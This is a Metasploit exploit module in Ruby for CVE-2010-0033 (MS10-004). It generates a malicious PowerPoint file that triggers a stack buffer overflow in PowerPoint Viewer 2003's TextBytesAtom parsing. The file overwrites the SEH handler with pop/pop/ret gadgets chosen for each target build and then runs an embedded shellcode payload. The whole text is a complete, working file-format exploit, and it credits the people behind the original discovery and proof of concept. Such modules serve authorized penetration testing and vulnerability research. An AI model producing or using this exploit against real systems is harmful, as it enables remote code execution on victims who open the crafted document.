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## # $Id: ms10_004_textbytesatom.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex/ole' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow vulnerability in the handling of the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft, the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as Office 2004 for Mac, are vulnerable. NOTE: The vulnerable code path is not reachable on versions of Windows prior to Windows Vista. }, 'License'=> MSF_LICENSE, 'Author' => [ 'SkD', # original discovery 'Snake', # PoC 'jduck'# metasploit version ], 'Version'=> '$Revision: 10477 $', 'References' => [ [ 'CVE', '2010-0033' ], [ 'OSVDB', '62241' ], [ 'MSB', 'MS10-004' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-017/' ], [ 'URL', 'http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload'=> { 'Space' => 1024, 'BadChars'=> "\x00", 'DisableNops' => true # no need }, 'Platform' => 'win', 'Targets'=> [ # Tested with various patch levels of PowerPoint Viewer 2003 (v6.0.2600.0) [ 'Microsoft PowerPoint Viewer 2003', { 'SEHOffset' => 132, 'PopPopRet' => 0x30056471 # pop/pop/ret from PPTVIEW.exe v11.0.5703.0 } ], [ 'Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3', { 'SEHOffset' => 132, 'PopPopRet' => 0x3003c767 # pop/pop/ret from PPTVIEW.exe v11.0.8164.0 } ], =begin # # This is commented out because of ASLR. gdiplus is no good. # [ 'Microsoft PowerPoint Viewer 2003 (kb956500 or kb969615)', { 'SEHOffset' => 132, #'PopPopRet' => 0x39827475 # pop/pop/ret from gdiplus.dll v11.0.8230.0 'PopPopRet' => 0x69647475 } ], =end [ 'Microsoft PowerPoint Viewer 2003 (kb969615)', { 'SEHOffset' => 132, 'PopPopRet' => 0x300566d1 # pop/pop/ret from PPTVIEW.exe v11.0.8305.0 } ], # # All that is needed for new targets are the two vars! msfpescan will help. # # crash on a deref path to heaven. [ 'Crash Target for Debugging', { 'SEHOffset' => 132, 'PopPopRet' => 0xdac0ffee } ] ], 'DisclosureDate' => 'Feb 09 2010')) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.ppt']), ], self.class) end def ppt_record(tag, data=nil, ver=0, inst=0) data ||= '' ret = '' verinst = (ver & 0xf) | (inst << 4) ret << [verinst, tag, data.length].pack('vvV') ret << data ret end def exploit print_status("Creating PowerPoint Document ...") username = Rex::Text.rand_text_alphanumeric(8+rand(8)) # smash the stack, hit SEH, use the pop-pop-ret to execute code on the stack sploit = rand_text(target['SEHOffset']) sploit << generate_seh_record(target['PopPopRet']) # jump ahead into the next atom distance = 10 sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+" + distance.to_s).encode_string # TextBytesAtom text_bytes_atom = ppt_record(0xfa8, sploit) text_bytes_atom[4,4] = [0xffffffff].pack('V') # ..f8 thru ..ff #text_bytes_atom << ppt_record(0xfa8, "\xcc" + ("A" * 2046) + "\xcc") text_bytes_atom << ppt_record(0xfa8, ("A" * 16) + payload.encoded) # SlidePersistAtom spa1_data = [2,0,0,0x80000000,0].pack('VVVVV') spa1 = ppt_record(0x3f3, spa1_data) # SlideListWithText (first) slwt1 = ppt_record(0xff0, spa1, 15, 1) # SlidePersistAtom spa2_data = '' spa2_data << [3,0,2,0x100,0].pack('VVVVV') # SlideListWithText container (2nd) slwt2_data = '' slwt2_data << ppt_record(0x3f3, spa2_data) # TextHeaderAtom txt_hdr_data = [6].pack('V') # textType slwt2_data << ppt_record(0xf9f, txt_hdr_data) slwt2_data << text_bytes_atom slwt2 = ppt_record(0xff0, slwt2_data, 15) # Document container doc_data = '' doc_data << slwt1 doc_data << slwt2 doc = ppt_record(0x3e8, doc_data, 15) # MainMaster container mdc_data = ppt_record(0xf003, '', 15) ppd_data = ppt_record(0xf002, mdc_data, 15) # TextMasterStyleAtom tmsa_data = [0].pack('v') # cLevels (none) mm_data = '' mm_data << ppt_record(0xfa3, tmsa_data) mm_data << ppt_record(0x40c, ppd_data, 15) mm = ppt_record(0x3f8, mm_data, 15) # assembled stream contents content = '' document_offset = content.length content << doc main_master_offset = content.length content << mm # PersistPtrIncrementalBlock start_num = 1 count = 2 ppib_data = [(start_num & 0xfffff) | (count << 20)].pack('V') ppib_data << [document_offset].pack('V') ppib_data << [main_master_offset].pack('V') ppib = ppt_record(0x1772, ppib_data) # Store offset and add it persist_ptr_incremental_block_offset = content.length content << ppib # UserEditAtom uea_data = '' uea_data << [0x100].pack('V') # lastSlideIdRef uea_data << [0x1599,0,3].pack('vCC')# version, minorVer, majorVer uea_data << [0].pack('V') # offsetLastEdit uea_data << [persist_ptr_incremental_block_offset].pack('V') uea_data << [1].pack('V') # docPersistIdRef uea_data << [3].pack('V') # persistIdSeed uea_data << [1].pack('v') # lastView uea_data << [0x31c5].pack('v')# unused?? uea = ppt_record(0xff5, uea_data) # Store offset and add it user_edit_atom_offset = content.length content << uea # Create the output file out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) raise RuntimeError, 'Unable to create output file' end # PowerPoint Document stream stm = stg.create_stream("PowerPoint Document") if (not stm) raise RuntimeError, 'Unable to create "PowerPoint Document" stream' end stm << content stm.close # CurrentUserAtom stream cua_data = '' cua_data << [0x14].pack('V')# size cua_data << [0xe391c05f].pack('V')# headerToken (not encrypted) cua_data << [user_edit_atom_offset].pack('V') cua_data << [username.length].pack('v') cua_data << [0x3f4].pack('v') # docFileVersion cua_data << [3,0].pack('CC')# majorVer, minorVer cua_data << [0x3b].pack('v')# unused?? cua_data << username cua_data << [8].pack('V') # relVersion (1 master slide) cua_data << Rex::Text.to_unicode(username) current_user_stream = ppt_record(0xff6, cua_data) stm = stg.create_stream("Current User") if (not stm) raise RuntimeError, 'Unable to create "Current User" stream' end stm << current_user_stream stm.close stg.close print_status("Generated output file #{out}") end end |
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